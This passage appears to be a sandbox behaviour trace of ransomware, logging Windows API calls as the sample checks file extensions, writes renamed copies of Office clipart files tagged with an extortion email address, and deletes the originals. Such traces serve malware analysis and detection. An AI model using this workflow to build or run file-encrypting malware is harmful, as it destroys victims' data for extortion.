lpString2=".WMF") returned 1 [0052.184] lstrlenW (lpString=".rar") returned 4 [0052.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.184] lstrlenW (lpString=".bz2") returned 4 [0052.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.184] lstrlenW (lpString=".7z") returned 3 [0052.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0052.184] lstrlenW (lpString=".dbf") returned 4 [0052.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0052.184] lstrlenW (lpString=".1cd") returned 4 [0052.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 63 [0052.184] lstrlenW (lpString=".jpg") returned 4 [0052.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.185] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=5684) returned 1 [0052.185] CloseHandle (hObject=0x20c) returned 1 [0052.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 0x20 [0052.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.186] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.186] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.186] GetLastError () returned 0x0 [0052.186] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1634, lpOverlapped=0x0) returned 1 [0052.187] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x1640, lpOverlapped=0x0) returned 1 [0052.188] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.188] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.189] SetEndOfFile (hFile=0x210) returned 1 [0052.189] CloseHandle (hObject=0x210) returned 1 [0052.189] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.189] SetEndOfFile (hFile=0x20c) returned 1 [0052.190] CloseHandle (hObject=0x20c) returned 1 [0052.190] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.190] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf")) returned 1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0052.190] lstrlenW (lpString=".doc") returned 4 [0052.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".docx") returned 5 [0052.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.190] lstrlenW (lpString=".pdf") returned 4 [0052.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".xls") returned 4 [0052.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.190] lstrlenW (lpString=".xlsx") returned 5 [0052.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.190] lstrlenW (lpString=".ppt") returned 4 [0052.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0052.190] lstrlenW (lpString=".zip") returned 4 [0052.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.190] lstrlenW (lpString=".rar") returned 4 [0052.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".bz2") returned 4 [0052.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.190] lstrlenW (lpString=".7z") returned 3 [0052.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0052.191] lstrlenW (lpString=".dbf") returned 4 [0052.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0052.191] lstrlenW (lpString=".1cd") returned 4 [0052.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF") returned 63 [0052.191] lstrlenW (lpString=".jpg") returned 4 [0052.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.191] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=20578) returned 1 [0052.191] CloseHandle (hObject=0x20c) returned 1 [0052.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 0x20 [0052.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.191] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.191] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.192] GetLastError () returned 0x0 [0052.192] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x5062, lpOverlapped=0x0) returned 1 [0052.194] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0052.195] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.195] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.195] SetEndOfFile (hFile=0x210) returned 1 [0052.195] CloseHandle (hObject=0x210) returned 1 [0052.195] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.195] SetEndOfFile (hFile=0x20c) returned 1 [0052.196] CloseHandle (hObject=0x20c) returned 1 [0052.196] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf")) returned 1 [0052.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0052.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0052.196] lstrlenW (lpString=".doc") returned 4 [0052.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.196] lstrlenW (lpString=".docx") returned 5 [0052.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.196] lstrlenW (lpString=".pdf") returned 4 [0052.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.196] lstrlenW (lpString=".xls") returned 4 [0052.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.196] lstrlenW (lpString=".xlsx") returned 5 [0052.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.197] lstrlenW (lpString=".ppt") returned 4 [0052.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0052.197] lstrlenW (lpString=".zip") returned 4 [0052.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.197] lstrlenW (lpString=".rar") returned 4 [0052.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.197] lstrlenW (lpString=".bz2") returned 4 [0052.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.197] lstrlenW (lpString=".7z") returned 3 [0052.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0052.197] lstrlenW (lpString=".dbf") returned 4 [0052.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0052.197] lstrlenW (lpString=".1cd") returned 4 [0052.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0052.197] lstrlenW (lpString=".jpg") returned 4 [0052.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.198] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=10832) returned 1 [0052.198] CloseHandle (hObject=0x20c) returned 1 [0052.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0052.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.199] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.199] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.199] GetLastError () returned 0x0 [0052.199] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0052.201] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0052.202] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.202] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.202] SetEndOfFile (hFile=0x210) returned 1 [0052.202] CloseHandle (hObject=0x210) returned 1 [0052.202] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.202] SetEndOfFile (hFile=0x20c) returned 1 [0052.203] CloseHandle (hObject=0x20c) returned 1 [0052.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0052.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0052.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0052.203] lstrlenW (lpString=".doc") returned 4 [0052.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.203] lstrlenW (lpString=".docx") returned 5 [0052.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.203] lstrlenW (lpString=".pdf") returned 4 [0052.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.203] lstrlenW (lpString=".xls") returned 4 [0052.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.203] lstrlenW (lpString=".xlsx") returned 5 [0052.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.203] lstrlenW (lpString=".ppt") returned 4 [0052.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0052.204] lstrlenW (lpString=".zip") returned 4 [0052.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.204] lstrlenW (lpString=".rar") returned 4 [0052.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.204] lstrlenW (lpString=".bz2") returned 4 [0052.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.204] lstrlenW (lpString=".7z") returned 3 [0052.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0052.204] lstrlenW (lpString=".dbf") returned 4 [0052.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0052.204] lstrlenW (lpString=".1cd") returned 4 [0052.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0052.204] lstrlenW (lpString=".jpg") returned 4 [0052.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.204] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=14428) returned 1 [0052.204] CloseHandle (hObject=0x20c) returned 1 [0052.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0052.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.205] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.205] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.205] GetLastError () returned 0x0 [0052.205] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x385c, lpOverlapped=0x0) returned 1 [0052.207] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0x3860, lpOverlapped=0x0) returned 1 [0052.208] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.208] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x229fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.208] SetEndOfFile (hFile=0x210) returned 1 [0052.208] CloseHandle (hObject=0x210) returned 1 [0052.208] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.208] SetEndOfFile (hFile=0x20c) returned 1 [0052.209] CloseHandle (hObject=0x20c) returned 1 [0052.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0052.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0052.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0052.209] lstrlenW (lpString=".doc") returned 4 [0052.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.209] lstrlenW (lpString=".docx") returned 5 [0052.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.210] lstrlenW (lpString=".pdf") returned 4 [0052.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.210] lstrlenW (lpString=".xls") returned 4 [0052.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.210] lstrlenW (lpString=".xlsx") returned 5 [0052.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.210] lstrlenW (lpString=".ppt") returned 4 [0052.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0052.210] lstrlenW (lpString=".zip") returned 4 [0052.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.210] lstrlenW (lpString=".rar") returned 4 [0052.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.210] lstrlenW (lpString=".bz2") returned 4 [0052.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.210] lstrlenW (lpString=".7z") returned 3 [0052.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0052.210] lstrlenW (lpString=".dbf") returned 4 [0052.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0052.210] lstrlenW (lpString=".1cd") returned 4 [0052.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0052.210] lstrlenW (lpString=".jpg") returned 4 [0052.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.210] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=7072) returned 1 [0052.210] CloseHandle (hObject=0x20c) returned 1 [0052.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0052.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0052.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0052.211] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.211] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x229fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.211] GetLastError () returned 0x0 [0052.211] ReadFile (in: hFile=0x20c, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x229fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x229fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0052.457] WriteFile (in: hFile=0x210, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x229fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, 